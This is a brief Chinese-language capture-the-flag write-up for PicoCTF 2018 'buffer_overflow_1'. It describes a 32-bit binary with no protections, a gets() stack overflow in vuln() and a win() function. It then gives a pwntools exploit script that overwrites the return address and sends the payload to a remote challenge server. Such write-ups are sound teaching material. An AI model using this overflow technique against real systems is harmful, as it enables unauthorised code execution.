PicoCTF_2018_buffer_overflow_1

放入虚拟机checksec一下

32位且什么都没开

 丢入ida

查看vuln()函数

发现get()函数，栈溢出

又找到win()后门函数 

exp：

 

from pwn import *
context.log_level='debug'
io=remote('node4.buuoj.cn',28157)

flag=0x80485CB
payload='a'*0x28+'b'*0x4+p32(flag)
io.sendlineafter(':',payload)

io.interactive()

flag: